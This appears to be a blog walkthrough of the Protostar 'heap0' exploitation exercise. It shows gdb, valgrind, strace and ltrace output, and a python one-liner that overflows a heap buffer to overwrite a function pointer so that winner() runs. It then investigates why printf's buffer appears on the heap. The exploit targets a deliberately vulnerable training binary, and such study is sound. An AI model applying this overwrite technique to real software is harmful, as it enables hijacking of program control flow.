RNRF 2021. 11. 3. 01:15

42. heap0 exploit speedrun & weird ASCII string on the Heap - bin.0x28

: This video will cover " heap0".
-> The basic weakness of this video has not changed.
-> But I have a special idea for this video.
-> Use it to identify other things we learn at the end.

: heap0 Code(/opt/protostar/bin/heap0) & Ubuntu 16.04 LTS.version
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>

struct data { # data and function pointer struct
  char name[64]; # AAAAA…
};

struct fp {
  int (*fp)(); # wtf is this?
};

void winner()
{
  printf("level passed\n");
}

void nowinner()
{
  printf("level has not been passed\n");
}

int main(int argc, char **argv)
{
  struct data *d;
  struct fp *f;

  d = malloc(sizeof(struct data)); # malloc
  f = malloc(sizeof(struct fp));
  f->fp = nowinner; # ();, not a function call!
# nowinner;, points to where the function is inplemented.
  printf("data is at %p, fp is at %p\n", d, f);

  strcpy(d->name, argv[1]);
  
  f->fp(); # “fp” points to nowinner. ();, calls into it now.

}
-> Recompile with Ubuntu's latest system.
-> vim heap0.c
-> gcc heap0.c -o heap0 -no-pie
-> ./heap0
data is at 0x1d10260, fp is at 0x1d102b0
Segmentation fault (core dumped)
-> ./heap0 AAAA
data is at 0xd6a260, fp is at 0xd6a2b0
level has not been passed
: In previous videos of the series, people usually think about making an exploit. And I can explain and show you.
-> create the exploit first.
-> think about how to show it.
-> then record the steps.
-> This is a kind of “blind solution” and “speed run”.

: Let's get started.
-> Check the code again before starting the exploit.
-> There are functions " winner()" and "nowinner()".
-> We certainly need to page "winner()".
-> You can also see that there are two structures in the heap that allocate space.
-> And while "fp" looks complicated, it can ignore its weirdness.
-> If you look at the code, it's obvious what it does.
-> Set "fp" to "nowinner()".
-> Notice how nowinner has no parantheses, this means it’s not being called.
-> This is literally the function pointer and adding paraentheses would cause a call.
-> And then later we have those paraentheses for “fp”.
-> And “fp” has been set to point to “nowinner”, so nowinner is executed.
-> And our goal is it to somehow use the strcpy, which will overflow the name buffer which is only 64byte large and overwrite the function pointer.

: I start by opening up the binary in “gdb”.
-> gdb heap0
-> r
[----------------------------------registers-----------------------------------]
RAX: 0x602260 --> 0x0 
RBX: 0x0 
RCX: 0x0 
RDX: 0x0 
RSI: 0x0 
RDI: 0x602260 --> 0x0 
RBP: 0x7fffffffdfe0 --> 0x400680 (<__libc_csu_init>: push   r15)
RSP: 0x7fffffffdfb8 --> 0x40065c (<main+111>: mov    rax,QWORD PTR [rbp-0x8])
RIP: 0x7ffff7a9a767 (<__strcpy_sse2_unaligned+551>: movdqu xmm1,XMMWORD PTR [rsi])
R8 : 0x0 
R9 : 0x0 
R10: 0x3 
R11: 0x7ffff7a9a540 (<__strcpy_sse2_unaligned>: mov    rcx,rsi)
R12: 0x4004e0 (<_start>: xor    ebp,ebp)
R13: 0x7fffffffe0c0 --> 0x1 
R14: 0x0 
R15: 0x0
EFLAGS: 0x10283 (CARRY parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x7ffff7a9a75d <__strcpy_sse2_unaligned+541>: lea    rcx,[r11+rcx*1]
   0x7ffff7a9a761 <__strcpy_sse2_unaligned+545>: jmp    rcx
   0x7ffff7a9a763 <__strcpy_sse2_unaligned+547>: pxor   xmm0,xmm0
=> 0x7ffff7a9a767 <__strcpy_sse2_unaligned+551>: movdqu xmm1,XMMWORD PTR [rsi]
   0x7ffff7a9a76b <__strcpy_sse2_unaligned+555>: movdqu xmm2,XMMWORD PTR [rsi+0x10]
   0x7ffff7a9a770 <__strcpy_sse2_unaligned+560>: pcmpeqb xmm0,xmm1
   0x7ffff7a9a774 <__strcpy_sse2_unaligned+564>: pmovmskb edx,xmm0
   0x7ffff7a9a778 <__strcpy_sse2_unaligned+568>: test   rdx,rdx
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffdfb8 --> 0x40065c (<main+111>: mov    rax,QWORD PTR [rbp-0x8])
0008| 0x7fffffffdfc0 --> 0x7fffffffe0c8 --> 0x7fffffffe3fe ("/home/rnrf/heap0")
0016| 0x7fffffffdfc8 --> 0x1004004e0 
0024| 0x7fffffffdfd0 --> 0x602260 --> 0x0 
0032| 0x7fffffffdfd8 --> 0x6022b0 --> 0x4005da (<nowinner>: push   rbp)
0040| 0x7fffffffdfe0 --> 0x400680 (<__libc_csu_init>: push   r15)
0048| 0x7fffffffdfe8 --> 0x7ffff7a05b97 (<__libc_start_main+231>: mov    edi,eax)
0056| 0x7fffffffdff0 --> 0x1 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV # Segfault
__strcpy_sse2_unaligned () at ../sysdeps/x86_64/multiarch/strcpy-sse2-unaligned.S:298
298 ../sysdeps/x86_64/multiarch/strcpy-sse2-unaligned.S: 그런 파일이나 디렉터리가 없습니다.
-> And do a first test execution, but I run into a segfault which startled me for a few seconds, but then I realized I forgot the argument parameter again.
-> r AAAA
Starting program: /home/rnrf/heap0 AAAA # forgot argument
data is at 0x602260, fp is at 0x6022b0
level has not been passed
[Inferior 1 (process 2063) exited normally]
-> The strcpy uses the first argument to copy into name.
-> Now we had a clean execution.
-> disassemble main
Dump of assembler code for function main:
   0x00000000004005ed <+0>: push   rbp
   0x00000000004005ee <+1>: mov    rbp,rsp
   0x00000000004005f1 <+4>: sub    rsp,0x20
   0x00000000004005f5 <+8>: mov    DWORD PTR [rbp-0x14],edi
   0x00000000004005f8 <+11>: mov    QWORD PTR [rbp-0x20],rsi
   0x00000000004005fc <+15>: mov    edi,0x40
   0x0000000000400601 <+20>: call   0x4004d0 <malloc@plt>
   0x0000000000400606 <+25>: mov    QWORD PTR [rbp-0x10],rax
   0x000000000040060a <+29>: mov    edi,0x8
   0x000000000040060f <+34>: call   0x4004d0 <malloc@plt> # malloc()
   0x0000000000400614 <+39>: mov    QWORD PTR [rbp-0x8],rax
   0x0000000000400618 <+43>: mov    rax,QWORD PTR [rbp-0x8]
   0x000000000040061c <+47>: lea    rdx,[rip+0xffffffffffffffb7]        # 0x4005da <nowinner>
   0x0000000000400623 <+54>: mov    QWORD PTR [rax],rdx
   0x0000000000400626 <+57>: mov    rdx,QWORD PTR [rbp-0x8]
   0x000000000040062a <+61>: mov    rax,QWORD PTR [rbp-0x10]
   0x000000000040062e <+65>: mov    rsi,rax
   0x0000000000400631 <+68>: lea    rdi,[rip+0xf3]        # 0x40072b
   0x0000000000400638 <+75>: mov    eax,0x0
   0x000000000040063d <+80>: call   0x4004c0 <printf@plt> # printf()
   0x0000000000400642 <+85>: mov    rax,QWORD PTR [rbp-0x20]
   0x0000000000400646 <+89>: add    rax,0x8
   0x000000000040064a <+93>: mov    rdx,QWORD PTR [rax]
   0x000000000040064d <+96>: mov    rax,QWORD PTR [rbp-0x10]
   0x0000000000400651 <+100>: mov    rsi,rdx
   0x0000000000400654 <+103>: mov    rdi,rax
   0x0000000000400657 <+106>: call   0x4004a0 <strcpy@plt> # strcpy()
   0x000000000040065c <+111>: mov    rax,QWORD PTR [rbp-0x8]
   0x0000000000400660 <+115>: mov    rdx,QWORD PTR [rax]
   0x0000000000400663 <+118>: mov    eax,0x0
   0x0000000000400668 <+123>: call   rdx # f->fp()
   0x000000000040066a <+125>: mov    eax,0x0
   0x000000000040066f <+130>: leave  
   0x0000000000400670 <+131>: ret    
End of assembler dump.
-> Now I want to set a good breakpoint so I disassemble main.
-> I’m quickly scanning the assembler code here, mainly looking at the different function calls to figure out what corresponds to what in the C code.
-> And at first I was thinking about setting a breakpoint before or after the “strcpy”, to catch the before and after of the overflow, but in the last moment then figured that I probably don’t need to look at it this closely, and I can simply go to the magic position right away.
-> The call “rdx”.
-> This is calling the function pointer that contains “nowinner()”.
-> break *0x0000000000400668
-> r
[----------------------------------registers-----------------------------------]
RAX: 0x0 
RBX: 0x0 
RCX: 0x41414141 ('AAAA')
RDX: 0x4005da (<nowinner>: push   rbp)
RSI: 0x7fffffffe40a --> 0x554c430041414141 ('AAAA')
RDI: 0x602260 --> 0x41414141 ('AAAA')
RBP: 0x7fffffffdfe0 --> 0x400680 (<__libc_csu_init>: push   r15)
RSP: 0x7fffffffdfc0 --> 0x7fffffffe0c8 --> 0x7fffffffe3f9 ("/home/rnrf/heap0")
RIP: 0x400668 (<main+123>: call   rdx)
R8 : 0x0 
R9 : 0x0 
R10: 0x3 
R11: 0x7ffff7b933c0 --> 0xfff074f0fff074e0 
R12: 0x4004e0 (<_start>: xor    ebp,ebp)
R13: 0x7fffffffe0c0 --> 0x2 
R14: 0x0 
R15: 0x0
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x40065c <main+111>: mov    rax,QWORD PTR [rbp-0x8]
   0x400660 <main+115>: mov    rdx,QWORD PTR [rax]
   0x400663 <main+118>: mov    eax,0x0
=> 0x400668 <main+123>: call   rdx
   0x40066a <main+125>: mov    eax,0x0
   0x40066f <main+130>: leave  
   0x400670 <main+131>: ret    
   0x400671: nop    WORD PTR cs:[rax+rax*1+0x0]
No argument
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffdfc0 --> 0x7fffffffe0c8 --> 0x7fffffffe3f9 ("/home/rnrf/heap0")
0008| 0x7fffffffdfc8 --> 0x2004004e0 
0016| 0x7fffffffdfd0 --> 0x602260 --> 0x41414141 ('AAAA')
0024| 0x7fffffffdfd8 --> 0x6022b0 --> 0x4005da (<nowinner>: push   rbp)
0032| 0x7fffffffdfe0 --> 0x400680 (<__libc_csu_init>: push   r15)
0040| 0x7fffffffdfe8 --> 0x7ffff7a05b97 (<__libc_start_main+231>: mov    edi,eax)
0048| 0x7fffffffdff0 --> 0x2 
0056| 0x7fffffffdff8 --> 0x7fffffffe0c8 --> 0x7fffffffe3f9 ("/home/rnrf/heap0")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, 0x0000000000400668 in main ()
-> Ok, so I execute it again and we hit the breakpoint.
-> Now this challenge is about a heap overflow, so I first check the virtual memory map of the process with “vmmap”.
-> vmmap
Start              End                Perm Name
0x00400000         0x00401000         r-xp /home/rnrf/heap0
0x00600000         0x00601000         r--p /home/rnrf/heap0
0x00601000         0x00602000         rw-p /home/rnrf/heap0
0x00602000         0x00623000         rw-p [heap]
0x00007ffff79e4000 0x00007ffff7bcb000 r-xp /lib/x86_64-linux-gnu/libc-2.27.so
0x00007ffff7bcb000 0x00007ffff7dcb000 ---p /lib/x86_64-linux-gnu/libc-2.27.so
0x00007ffff7dcb000 0x00007ffff7dcf000 r--p /lib/x86_64-linux-gnu/libc-2.27.so
0x00007ffff7dcf000 0x00007ffff7dd1000 rw-p /lib/x86_64-linux-gnu/libc-2.27.so
0x00007ffff7dd1000 0x00007ffff7dd5000 rw-p mapped
0x00007ffff7dd5000 0x00007ffff7dfc000 r-xp /lib/x86_64-linux-gnu/ld-2.27.so
0x00007ffff7fdf000 0x00007ffff7fe1000 rw-p mapped
0x00007ffff7ff8000 0x00007ffff7ffb000 r--p [vvar]
0x00007ffff7ffb000 0x00007ffff7ffc000 r-xp [vdso]
0x00007ffff7ffc000 0x00007ffff7ffd000 r--p /lib/x86_64-linux-gnu/ld-2.27.so
0x00007ffff7ffd000 0x00007ffff7ffe000 rw-p /lib/x86_64-linux-gnu/ld-2.27.so
0x00007ffff7ffe000 0x00007ffff7fff000 rw-p mapped
0x00007ffffffde000 0x00007ffffffff000 rw-p [stack]
0xffffffffff600000 0xffffffffff601000 r-xp [vsyscall]
-> Here you can see in which memory regions we have the binary itself with the code and segments, we can also see where the stack is and where shared libraries like libc are loaded too, and we also have the heap here.
-> So obviously I want to check out how the “heap” looks like.
-> Examine 32 64bit hex values from the start of the heap.
(ERROR) -> x/32gx 0x00602000  # 32gx: amount/64bit/hex values
0x602000: 0x0000000000000000 0x0000000000000251
0x602010: 0x0000000000000000 0x0000000000000000 # 41414141???
0x602020: 0x0000000000000000 0x0000000000000000
0x602030: 0x0000000000000000 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000000000
0x602050: 0x0000000000000000 0x0000000000000000
0x602060: 0x0000000000000000 0x0000000000000000
0x602070: 0x0000000000000000 0x0000000000000000
0x602080: 0x0000000000000000 0x0000000000000000
0x602090: 0x0000000000000000 0x0000000000000000
0x6020a0: 0x0000000000000000 0x0000000000000000
0x6020b0: 0x0000000000000000 0x0000000000000000
0x6020c0: 0x0000000000000000 0x0000000000000000
0x6020d0: 0x0000000000000000 0x0000000000000000
0x6020e0: 0x0000000000000000 0x0000000000000000
0x6020f0: 0x0000000000000000 0x0000000000000000
-> x/32gx
0x602100: 0x0000000000000000 0x0000000000000000
0x602110: 0x0000000000000000 0x0000000000000000
0x602120: 0x0000000000000000 0x0000000000000000
0x602130: 0x0000000000000000 0x0000000000000000
0x602140: 0x0000000000000000 0x0000000000000000
0x602150: 0x0000000000000000 0x0000000000000000
0x602160: 0x0000000000000000 0x0000000000000000
0x602170: 0x0000000000000000 0x0000000000000000
0x602180: 0x0000000000000000 0x0000000000000000
0x602190: 0x0000000000000000 0x0000000000000000
0x6021a0: 0x0000000000000000 0x0000000000000000
0x6021b0: 0x0000000000000000 0x0000000000000000
0x6021c0: 0x0000000000000000 0x0000000000000000
0x6021d0: 0x0000000000000000 0x0000000000000000
0x6021e0: 0x0000000000000000 0x0000000000000000
0x6021f0: 0x0000000000000000 0x0000000000000000
-> x/32gx
0x602200: 0x0000000000000000 0x0000000000000000
0x602210: 0x0000000000000000 0x0000000000000000
0x602220: 0x0000000000000000 0x0000000000000000
0x602230: 0x0000000000000000 0x0000000000000000
0x602240: 0x0000000000000000 0x0000000000000000
0x602250: 0x0000000000000000 0x0000000000000051
0x602260: 0x0000000041414141 0x0000000000000000
0x602270: 0x0000000000000000 0x0000000000000000
0x602280: 0x0000000000000000 0x0000000000000000
0x602290: 0x0000000000000000 0x0000000000000000
0x6022a0: 0x0000000000000000 0x0000000000000021
0x6022b0: 0x00000000004005da 0x0000000000000000
0x6022c0: 0x0000000000000000 0x0000000000000411
0x6022d0: 0x2073692061746164 0x3230367830207461
0x6022e0: 0x207066202c303632 0x7830207461207369
0x6022f0: 0x000a306232323036 0x0000000000000000
-> I immediately look for the name we entered as an argument, which was “AAAA”, so here they are.
-> And I also immediately look for the function pointer.
-> This looks like an address.
-> Quick sanity check with the disassemble command.
-> disassemble 0x00000000004005da
Dump of assembler code for function nowinner:
   0x00000000004005da <+0>: push   rbp
   0x00000000004005db <+1>: mov    rbp,rsp
   0x00000000004005de <+4>: lea    rdi,[rip+0x12c]        # 0x400711
   0x00000000004005e5 <+11>: call   0x4004b0 <puts@plt>
   0x00000000004005ea <+16>: nop
   0x00000000004005eb <+17>: pop    rbp
   0x00000000004005ec <+18>: ret    
End of assembler dump.
-> x/s 0x400711
0x400711: "level has not been passed"
-> Here is a puts call using this address as a paremter, and so that is our nowinner string.
-> So yep, that’s nowinner.
-> So now we want to overwrite that with winner, so we need that address.
-> disassemble winner
Dump of assembler code for function winner:
   0x00000000004005c7 <+0>: push   rbp
   0x00000000004005c8 <+1>: mov    rbp,rsp
   0x00000000004005cb <+4>: lea    rdi,[rip+0x132]        # 0x400704
   0x00000000004005d2 <+11>: call   0x4004b0 <puts@plt>
   0x00000000004005d7 <+16>: nop
   0x00000000004005d8 <+17>: pop    rbp
   0x00000000004005d9 <+18>: ret    
End of assembler dump.
-> Here it is.
-> Next I need to figure out how much we have to overflow, to do that I simply look at the addresses to the left.
0x602200: 0x0000000000000000 0x0000000000000000
0x602210: 0x0000000000000000 0x0000000000000000
0x602220: 0x0000000000000000 0x0000000000000000
0x602230: 0x0000000000000000 0x0000000000000000
0x602240: 0x0000000000000000 0x0000000000000000
0x602250: 0x0000000000000000 0x0000000000000051
0x602260: 0x0000000041414141 0x0000000000000000
0x602270: 0x0000000000000000 0x0000000000000000
0x602280: 0x0000000000000000 0x0000000000000000
0x602290: 0x0000000000000000 0x0000000000000000
0x6022a0: 0x0000000000000000 0x0000000000000021
0x6022b0: 0x00000000004005da 0x0000000000000000
0x6022c0: 0x0000000000000000 0x0000000000000411
0x6022d0: 0x2073692061746164 0x3230367830207461
0x6022e0: 0x207066202c303632 0x7830207461207369
0x6022f0: 0x000a306232323036 0x0000000000000000
-> Address of the start of the name ends in “0x60”, and the function pointer is at “0xb0”.
-> So we have an offset of 0x80. # 0xb0 - 0x60 = 0x80
: So now I’m feeling confident and actually drop out of gdb and hope to have a working exploit right away.
-> So I start by writing a short python inline script to print the exploit string.
-> Essentially we need a couple of characters as padding to reach the function pointer and so I print a few “A”.
-> Quick check again how many that was, 0xb0-0x60 so we need 0x80.
-> After that we need the address of winner.
-> So 0x40, OOPS! Almost made a mistake - this stil happens to me sometime, we obviously have to start with 0xc7, 0x05 and then 0x40.
-> Because of the endianess.
-> python -c 'print "A"*0x50+"\xc7\x05\x40"'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�@
-> Now for a sanity and debugging step I pipe that output into hexdump to see if it is what I expect.
-> python -c 'print "A"*0x50+"\xc7\x05\x40"' | hexdump -C
00000000  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
*
00000050  c7 05 40 0a                                       |..@.|
00000054
-> But then I notice a 0x0a at the end, and that’s a newline. # “0a” = “\n"
-> Python print will add a newline at the end which we don’t want.
-> So now I change the script to use the sys module instead in order to directly write a string to stdout, so we don’t have a newline.
-> python -c 'import sys; sys.stdout.write("A"*0x50+"\xc7\x05\x40")' | hexdump -C
00000000  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
*
00000050  c7 05 40                                          |..@|
00000053
-> And I verify that again with hexdump.
-> And then I’m basically done and try it on the target binary.
-> So the input is passed as argument, so I use backticks to execute the inner python command, and the output is then basically replaced by it and placed here as the arguments.
-> ./heap0 "`python -c 'import sys; sys.stdout.write("A"*0x50+"\xc7\x05\x40")'`"
data is at 0xf88260, fp is at 0xf882b0
level passed
-> Level passed!
-> I executed the “winner()” function.
-> You see this was super simple.

: So when I was writing this script with the commentary of my recording, I noticed a small detail that I didn’t think about.
-> And I actually never thought about before.
-> So here is the heap output again.
0x602200: 0x0000000000000000 0x0000000000000000
0x602210: 0x0000000000000000 0x0000000000000000
0x602220: 0x0000000000000000 0x0000000000000000
0x602230: 0x0000000000000000 0x0000000000000000
0x602240: 0x0000000000000000 0x0000000000000000
0x602250: 0x0000000000000000 0x0000000000000051
0x602260: 0x0000000041414141 0x0000000000000000
0x602270: 0x0000000000000000 0x0000000000000000
0x602280: 0x0000000000000000 0x0000000000000000
0x602290: 0x0000000000000000 0x0000000000000000
0x6022a0: 0x0000000000000000 0x0000000000000021
0x6022b0: 0x00000000004005da 0x0000000000000000
0x6022c0: 0x0000000000000000 0x0000000000000411
0x6022d0: 0x2073692061746164 0x3230367830207461
0x6022e0: 0x207066202c303632 0x7830207461207369
0x6022f0: 0x000a306232323036 0x0000000000000000
-> Do you see this data down here?
-> That is clearly ascii.
-> And that’s weird, in our program we did not allocate any string like this on the heap.
-> So how did this happen?
-> When you look at this ascii text, then you will realize it’s in fact the printf output.
-> data is at 0xf88260, fp is at 0xf882b0
-> But why is that on the heap?
: Let’s investigate.
-> First I thought we could checkout “valgrind”.
-> “Valgrind” is an instrumentation framework for building dynamic analysis tools.
-> There are Valgrind tools that can automatically detect many memory management and threading bugs, and profile your programs in detail.
-> I really should use valgrind more often, I use it wayy to little.
-> But here is for example the valgrind output with tracing mallocs enabled.
-> And then we run our “heap0” level.
-> valgrind --trace-malloc=yes ./heap0 AAAA # --trace-malloc : trace mallocs
==22879== Memcheck, a memory error detector
==22879== Copyright (C) 2002-2017, and GNU GPL'd, by Julian Seward et al.
==22879== Using Valgrind-3.13.0 and LibVEX; rerun with -h for copyright info
==22879== Command: ./heap0 AAAA
==22879== 
--22879-- malloc(64) = 0x522D040 # name
--22879-- malloc(8) = 0x522D0C0 # fp
--22879-- malloc(1024) = 0x522D110 # address of malloc region
data is at 0x522d040, fp is at 0x522d0c0
level has not been passed
--22879-- free(0x0)
--22879-- free(0x522D110)
--22879-- free(0x0)
--22879-- free(0x0)
--22879-- free(0x0)
--22879-- free(0x0)
--22879-- free(0x0)
--22879-- free(0x0)
--22879-- free(0x0)
--22879-- free(0x0)
--22879-- free(0x0)
--22879-- free(0x0)
--22879-- free(0x0)
--22879-- free(0x0)
--22879-- free(0x0)
--22879-- free(0x0)
--22879-- free(0x0)
--22879-- free(0x0)
--22879-- free(0x0)
--22879-- free(0x0)
--22879-- free(0x0)
--22879-- free(0x0)
--22879-- free(0x0)
--22879-- free(0x0)
--22879-- free(0x0)
--22879-- free(0x0)
--22879-- free(0x0)
--22879-- free(0x0)
--22879-- free(0x0)
--22879-- free(0x0)
--22879-- free(0x0)
--22879-- free(0x0)
--22879-- free(0x0)
--22879-- free(0x0)
--22879-- free(0x0)
--22879-- free(0x0)
--22879-- free(0x0)
--22879-- free(0x0)
--22879-- free(0x0)
--22879-- free(0x0)
--22879-- free(0x0)
--22879-- free(0x0)
--22879-- free(0x0)
--22879-- free(0x0)
--22879-- free(0x0)
--22879-- free(0x0)
--22879-- free(0x0)
--22879-- free(0x0)
--22879-- free(0x0)
--22879-- free(0x0)
--22879-- free(0x0)
--22879-- free(0x0)
--22879-- free(0x0)
--22879-- free(0x0)
--22879-- free(0x0)
--22879-- free(0x0)
--22879-- free(0x0)
--22879-- free(0x0)
--22879-- free(0x0)
--22879-- free(0x0)
--22879-- free(0x0)
--22879-- free(0x0)
--22879-- free(0x0)
--22879-- free(0x0)
--22879-- free(0x0)
--22879-- free(0x0)
--22879-- free(0x0)
--22879-- free(0x0)
--22879-- free(0x0)
--22879-- free(0x0)
--22879-- free(0x0)
--22879-- free(0x0)
--22879-- free(0x0)
--22879-- free(0x0)
--22879-- free(0x0)
--22879-- free(0x0)
==22879== 
==22879== HEAP SUMMARY:
==22879==     in use at exit: 72 bytes in 2 blocks
==22879==   total heap usage: 3 allocs, 1 frees, 1,096 bytes allocated
==22879== 
==22879== LEAK SUMMARY:
==22879==    definitely lost: 72 bytes in 2 blocks
==22879==    indirectly lost: 0 bytes in 0 blocks
==22879==      possibly lost: 0 bytes in 0 blocks
==22879==    still reachable: 0 bytes in 0 blocks
==22879==         suppressed: 0 bytes in 0 blocks
==22879== Rerun with --leak-check=full to see details of leaked memory
==22879== 
==22879== For counts of detected and suppressed errors, rerun with: -v
==22879== ERROR SUMMARY: 0 errors from 0 contexts (suppressed: 0 from 0)
-> And we can indeed see here our two mallocs of the structs we do, but also a malloc we didn’t do of 1024.
-> That’s also the only memory that is freed again.
-> The mallocs we do have no free.
: So why is that happening?
-> Another interesting output is strace.
-> strace ./heap0 AAAA
execve("./heap0", ["./heap0", "AAAA"], 0x7ffdf137dd08 /* 52 vars */) = 0
brk(NULL)                               = 0x1083000
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
fstat(3, {st_mode=S_IFREG|0644, st_size=92737, ...}) = 0
mmap(NULL, 92737, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7f64c76fc000
close(3)                                = 0
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libc.so.6", O_RDONLY|O_CLOEXEC) = 3
read(3, "\177ELF\2\1\1\3\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\260\34\2\0\0\0\0\0"..., 832) = 832
fstat(3, {st_mode=S_IFREG|0755, st_size=2030544, ...}) = 0
mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f64c76fa000
mmap(NULL, 4131552, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7f64c70fb000
mprotect(0x7f64c72e2000, 2097152, PROT_NONE) = 0
mmap(0x7f64c74e2000, 24576, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1e7000) = 0x7f64c74e2000
mmap(0x7f64c74e8000, 15072, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x7f64c74e8000
close(3)                                = 0
arch_prctl(ARCH_SET_FS, 0x7f64c76fb4c0) = 0
mprotect(0x7f64c74e2000, 16384, PROT_READ) = 0
mprotect(0x600000, 4096, PROT_READ)     = 0
mprotect(0x7f64c7713000, 4096, PROT_READ) = 0
munmap(0x7f64c76fc000, 92737)           = 0
brk(NULL)                               = 0x1083000 # no malloc()
brk(0x10a4000)                          = 0x10a4000
fstat(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 0), ...}) = 0
write(1, "data is at 0x1083260, fp is at 0"..., 41data is at 0x1083260, fp is at 0x10832b0
) = 41
write(1, "level has not been passed\n", 26level has not been passed
) = 26
exit_group(0)                           = ?
+++ exited with 0 +++
-> Strace traces syscalls.
-> And while we don’t see mallocs here, because malloc is just some algorithm and memory implemented in libc, we can see the brk syscall, which gets the memory from the operating system in the first place.
-> So this is where we get memory that will then be used by libc for the heap.
-> So if malloc is a libc function, we can also checkout ltrace, which traces linked dynamic library function calls.
-> ltrace ./heap0 AAAA # ltrace
malloc(64)                                                                   = 0x17de260
malloc(8)                                                                    = 0x17de2b0
printf("data is at %p, fp is at %p\n", 0x17de260, 0x17de2b0data is at 0x17de260, fp is at 0x17de2b0
)                 = 41
strcpy(0x17de260, "AAAA")                                                    = 0x17de260
puts("level has not been passed"level has not been passed
)                                            = 26
+++ exited (status 0) +++
-> But oddly enough we only see two mallocs for the two structs.
-> Nothing about the mysterious third malloc. # it’s a hint.
-> It might not be immediately obvious, but that is actually already a really good hint that the mysterious malloc did not happen from a dynamically linked library call.
: Which means, this malloc must have been executed for example by libc itself.
-> And “valgrind” is a bit smarter and also traces these internal mallocs.
-> For the third test I create a simple program that calls puts, so it prints a string.
-> vi test_puts.c
void main() {
        puts("TEST\n");
}
-> gcc test_puts.c -o test_puts
-> Because we know the heap did contain the “printf” output so it must have to do something that.
-> And then we can debug that program and set a breakpoint on brk.
-> gdb ./test_puts
-> break *brk
No symbol table is loaded.  Use the "file" command. # that didn’t work. set a breakpoint on a syscall?
-> Remember brk is the syscall that is called when a program requests additional virtual memory, and so this is called when the heap is set up.
-> And the heap is not always setup, only if it is required.
-> So if we assume printf or puts calls malloc, it would have to setup the heap first.
-> In the code of "heap0"
int main(int argc, char **argv)
{
  struct data *d;
  struct fp *f;

  d = malloc(sizeof(struct data)); # malloc creates heap
  f = malloc(sizeof(struct fp));
  f->fp = nowinner;

  printf("data is at %p, fp is at %p\n", d, f); # before “printf”

  strcpy(d->name, argv[1]);
  
  f->fp();

}
-> Now that’s also why I created this small test program, because the original “heap0” has obviously regular mallocs before the printf, which makes it a bit annoying, so this is a clean example.
-> On a second note, when you set a breakpoint with a symbol name like brk, there has to be a symbol name for it.
-> And a syscall doesn’t have a symbol name.
-> A syscall is an asembler interrup instruction with a number as paramter to indicate syscall you want. # mov ecx, 0xc -> brk
-> But there is a brk symbol, but it’s not initially found.
-> You first have to execute the program in order to load the dynamic library libc, which does contain a “brk” symbol.
-> break *main
-> r
[----------------------------------registers-----------------------------------]
RAX: 0x55555555463a (<main>: push   rbp)
RBX: 0x0 
RCX: 0x555555554650 (<__libc_csu_init>: push   r15)
RDX: 0x7fffffffe0d8 --> 0x7fffffffe40b ("CLUTTER_IM_MODULE=xim")
RSI: 0x7fffffffe0c8 --> 0x7fffffffe3f6 ("/home/rnrf/test_puts")
RDI: 0x1 
RBP: 0x555555554650 (<__libc_csu_init>: push   r15)
RSP: 0x7fffffffdfe8 --> 0x7ffff7a05b97 (<__libc_start_main+231>: mov    edi,eax)
RIP: 0x55555555463a (<main>: push   rbp)
R8 : 0x7ffff7dd0d80 --> 0x0 
R9 : 0x7ffff7dd0d80 --> 0x0 
R10: 0x0 
R11: 0x0 
R12: 0x555555554530 (<_start>: xor    ebp,ebp)
R13: 0x7fffffffe0c0 --> 0x1 
R14: 0x0 
R15: 0x0
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x555555554631 <frame_dummy+1>: mov    rbp,rsp
   0x555555554634 <frame_dummy+4>: pop    rbp
   0x555555554635 <frame_dummy+5>: jmp    0x5555555545a0 <register_tm_clones>
=> 0x55555555463a <main>: push   rbp
   0x55555555463b <main+1>: mov    rbp,rsp
   0x55555555463e <main+4>: lea    rdi,[rip+0x8f]        # 0x5555555546d4
   0x555555554645 <main+11>: call   0x555555554510 <puts@plt>
   0x55555555464a <main+16>: nop
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffdfe8 --> 0x7ffff7a05b97 (<__libc_start_main+231>: mov    edi,eax)
0008| 0x7fffffffdff0 --> 0x1 
0016| 0x7fffffffdff8 --> 0x7fffffffe0c8 --> 0x7fffffffe3f6 ("/home/rnrf/test_puts")
0024| 0x7fffffffe000 --> 0x100008000 
0032| 0x7fffffffe008 --> 0x55555555463a (<main>: push   rbp)
0040| 0x7fffffffe010 --> 0x0 
0048| 0x7fffffffe018 --> 0x25db3bd2833bad7a 
0056| 0x7fffffffe020 --> 0x555555554530 (<_start>: xor    ebp,ebp)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, 0x000055555555463a in main ()
-> And infact that is a regular function as a wrapper around the brk syscall.
-> break *brk
